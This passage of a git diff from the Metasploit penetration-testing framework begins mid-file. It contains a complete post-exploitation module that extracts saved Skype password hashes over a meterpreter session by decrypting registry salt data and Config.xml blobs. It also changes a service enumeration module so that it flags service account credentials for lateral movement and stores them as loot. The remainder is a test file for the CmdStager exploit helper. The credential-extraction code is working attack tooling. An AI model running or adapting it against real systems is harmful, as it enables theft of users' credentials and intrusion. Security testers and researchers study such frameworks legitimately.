def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Skype Saved Password Hash Extraction', + 'Description' => %q{ This module finds saved login credentials + for the Windows Skype client. The hash is in MD5 format + that uses the username, a static string "\nskyper\n" and the + password. The resulting MD5 is stored in the Config.xml file + for the user after being XOR'd against a key generated by applying + 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage + using the Windows API CryptProtectData against the MD5 }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mubix', # module + 'hdm' # crypto help + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'], + ['URL', 'http://insecurety.net/?p=427'], + ['URL', 'https://github.com/skypeopensource/tools'] + ] + )) + end + +# To generate test hashes in ruby use: +=begin + +require 'openssl' + +username = "test" +passsword = "test" + +hash = Digest::MD5.new +hash.update username +hash.update "\nskyper\n" +hash.update password + +puts hash.hexdigest + +=end + + def decrypt_reg(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV") + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + return process.memory.read(addr, len) + end + + # Get the "Salt" unencrypted from the registry + def get_salt + print_status "Checking for encrypted salt in the registry" + vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0" + rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0') + print_good("Salt found and decrypted") + return decrypt_reg(rdata) + end + + # Pull out all the users in the AppData directory that have config files + def get_config_users(appdatapath) + users = [] + dirlist = session.fs.dir.entries(appdatapath) + dirlist.shift(2) + dirlist.each do |dir| + if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false + vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\" + next + end + print_good "Found Config.xml in #{appdatapath}\\#{dir}\\" + users << dir + end + return users + end + + def parse_config_file(config_path) + hex = "" + configfile = read_file(config_path) + configfile.each_line do |line| + if line =~ /Credentials/i + hex = line.split('>')[1].split('<')[0] + end + end + return hex + end + + + + def decrypt_blob(credhex, salt) + + # Convert Config.xml hex to binary format + blob = [credhex].pack("H*") + + # Concatinate SHA digests for AES key + sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt) + + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.encrypt + aes.key = sha[0,32] # Use only 32 bytes of key + final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes + final << aes.final + xor_key = final[0,16] # Get only the first 16 bytes of result + + vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}") + + decrypted = [] + + # Use AES/SHA crypto for XOR decoding + (0...16).each do |i| + decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0]) + end + + return decrypted.pack("C*").unpack("H*")[0] + end + + + def get_config_creds(salt) + users = [] + appdatapath = expand_path("%AppData%") + "\\Skype" + print_status ("Checking for config files in %APPDATA%") + users = get_config_users(appdatapath) + if users.any? + users.each do |user| + print_status("Parsing #{appdatapath}\\#{user}\\Config.xml") + credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml") + if credhex == "" + print_error("No Credentials3 blob found for #{user} in Config.xml skipping") + next + else + hash = decrypt_blob(credhex, salt) + print_good "Skype MD5 found: #{user}:#{hash}" + end + end + else + print_error "No users with configs found. Exiting" + end + end + + def run + salt = get_salt + if salt != nil + creds = get_config_creds(salt) + else + print_error "No salt found. Cannot continue without salt, exiting" + end + end + +end + diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 8f75d3686f..baf89b0efe 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post 'Name' => "Windows Gather Service Info Enumeration", 'Description' => %q{ This module will query the system for services and display name and configuration - info for each returned service. It allows you to optionally search the credentials, path, or start - type for a string and only return the results that match. These query operations + info for each returned service. It allows you to optionally search the credentials, path, + or start type for a string and only return the results that match. These query operations are cumulative and if no query strings are specified, it just returns all services. NOTE: If the script hangs, windows firewall is most likely on and you did not migrate to a safe process (explorer.exe for example). @@ -36,9 +36,12 @@ class Metasploit3 < Msf::Post end + def run # set vars + lootString = "" + credentialCount = {} qcred = datastore["CRED"] || nil qpath = datastore["PATH"] || nil if datastore["TYPE"] == "All" @@ -47,24 +50,29 @@ class Metasploit3 < Msf::Post qtype = datastore["TYPE"] end if qcred - print_status("Credential Filter: " + qcred) + print_status("Credential Filter: #{qcred}") end if qpath - print_status("Executable Path Filter: " + qpath) + print_status("Executable Path Filter: #{qpath}") end if qtype - print_status("Start Type Filter: " + qtype) + print_status("Start Type Filter: #{qtype}") + end + + if datastore['VERBOSE'] + print_status("Listing Service Info for matching services:") + else + print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n") end - print_status("Listing Service Info for matching services:") service_list.each do |sname| srv_conf = {} isgood = true - #make sure we got a service name + # make sure we got a service name if sname begin srv_conf = service_info(sname) - #filter service based on filters passed, the are cumulative + # filter service based on filters passed, the are cumulative if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase isgood = false end @@ -75,22 +83,45 @@ class Metasploit3 < Msf::Post if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase isgood = false end - - #if we are still good return the info - if isgood - vprint_status("\tName: #{sname}") - vprint_good("\t\tStartup: #{srv_conf['Startup']}") - vprint_good("\t\tCommand: #{srv_conf['Command']}") - vprint_good("\t\tCredentials: #{srv_conf['Credentials']}") + # count the occurance of specific credentials services are running as + serviceCred = srv_conf['Credentials'].upcase + unless serviceCred.empty? + if credentialCount.has_key?(serviceCred) + credentialCount[serviceCred] += 1 + else + credentialCount[serviceCred] = 1 + # let the user know a new service account has been detected for possible lateral + # movement opportunities + print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'") + end end - rescue + + # if we are still good return the info + if isgood + msgString = "\tName: #{sname}" + msgString << "\n\t\tStartup: #{srv_conf['Startup']}" + #remove invalid char at the end + commandString = srv_conf['Command'] + commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"") + msgString << "\n\t\t#{commandString}" + msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n" + vprint_good(msgString) + lootString << msgString + end + rescue ::Exception => e + # July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue, + # probably the typical shut-everything-up coding habit. We'll have to fix this later, + # but for now let's at least print the error for debugging purposes print_error("An error occured enumerating service: #{sname}") + print_error(e.to_s) end else - print_error("Problem enumerating services") + print_error("Problem enumerating services (no service name found)") end - end + # store loot on completion of collection + p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services") + print_good("Loot file stored in: #{p.to_s}") end end diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb new file mode 100644 index 0000000000..b6e444a24a --- /dev/null +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -0,0 +1,698 @@ +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/cmdstager' + +describe Msf::Exploit::CmdStager do + + def create_exploit(info ={}) + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, info) + mod + end + + describe "#select_cmdstager" do + + subject do + create_exploit + end + + context "when no flavor" do + + it "raises ArgumentError" do + expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/) + end + end + + context "when correct flavor" do + + context "with default decoder" do + + let(:flavor) do + :vbs + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "selects default decoder" do + expect(subject.decoder).to eq(subject.default_decoder(flavor)) + end + end + + context "without default decoder" do + + let(:flavor) do + :tftp + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "hasn't decoder" do + expect(subject.decoder).to be_nil + end + end + + context "with incompatible target" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Linux', + { + 'Platform' => 'linux', + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:flavor) do + :vbs + end + + it "raises ArgumentError" do + expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/) + end + end + end + end + + describe "#default_decoder" do + + subject do + create_exploit + end + + context "when valid flavor as input" do + + context "with default decoder" do + let(:flavor) do + :vbs + end + + let(:expected_decoder) do + described_class::DECODERS[:vbs] + end + + it "returns the decoder path" do + expect(subject.default_decoder(flavor)).to eq(expected_decoder) + end + end + + context "without default decoder" do + let(:flavor) do + :bourne + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + context "when invalid flavor as input" do + let(:flavor) do + :invalid_flavor + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + + context "when nil flavor as input" do + let(:flavor) do + nil + end + + it "should be nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + describe "#module_flavors" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns empty array" do + expect(subject.module_flavors).to eq([]) + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the target flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the module flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs', 'tftp'] + end + + it "returns an array with all the flavors available to the module" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + end + + describe "#target_flavor" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns nil" do + expect(subject.target_flavor).to be_nil + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the module flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'tftp' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + end + + describe "#compatible_flavor?" do + + context "when there isn't target flavor" do + + subject do + create_exploit + end + + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "when the target flavor is a string" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + end + + context "when the target flavor is a symbol" do + + subject do + create_exploit('CmdStagerFlavor' => :vbs) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + end + + context "when the target flavor is an Array" do + + subject do + create_exploit('CmdStagerFlavor' => ['vbs', :tftp]) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :echo + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + + end + end + + describe "#guess_flavor" do + + context "when the module hasn't targets" do + + context "neither platforms" do + subject do + create_exploit + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "but platforms" do + + context "one platform with default flavor" do + let(:platform) do + 'win' + end + + let(:expected_flavor) do + :vbs + end + + subject do + create_exploit('Platform' => platform) + end + + it "guess the platform defulat flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + end + + context "one platform without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "two platforms" do + let(:platform) do + ['unix', 'linux'] + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + context "when the module has one target" do + + context "and the target has one platform" do + + context "with default flavor"do + let (:expected_flavor) do + :vbs + end + + let (:platform) do + 'win' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "guess the target flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + + end + + context "without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Java', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + + context "the target has two platforms" do + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['MultiPlatform', + { + 'Platform' => %w{ linux unix} + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + describe "#select_flavor" do + + context "when flavor set in the datastore" do + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'vbs' + } + }) + end + + let(:datastore_flavor) do + :vbs + end + + it "returns the datastore flavor" do + expect(subject.select_flavor).to eq(datastore_flavor) + end + + context "and flavor set in the opts" do + + let(:opts_flavor) do + :bourne + end + + it "returns the opts flavor" do + expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor) + end + end + end + end + + describe "#select_decoder" do + + context "when decoder set in the datastore" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::DECODER' => decoder + } + }) + end + + it "returns datastore flavor" do + expect(subject.select_decoder).to eq(decoder) + end + + context "and decoder set in the opts" do + + let(:decoder_opts) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + end + + it "returns the decoder_opts" do + expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts) + end + end + end + end + + describe "#opts_with_decoder" do + subject do + create_exploit + end + + context "with :decoder option" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + it "returns the :decoder option" do + expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder) + end + end + + context "without decoder option" do + it ":hasn't decoder option" do + expect(subject.opts_with_decoder).not_to include(:decoder) + end + end + + end + + describe "#create_stager" do + subject do + create_exploit + end + + context "with correct flavor" do + + let(:flavor) do + :vbs + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "creates the correct instance" do + expect(subject.create_stager.class).to eq(expected_class) + end + end + + context "with incorrect flavor" do + let(:flavor) do + :incorrect_flavor + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "raises a NoMethodError" do + expect { subject.create_stager }.to raise_error(NoMethodError) + end + end + end +end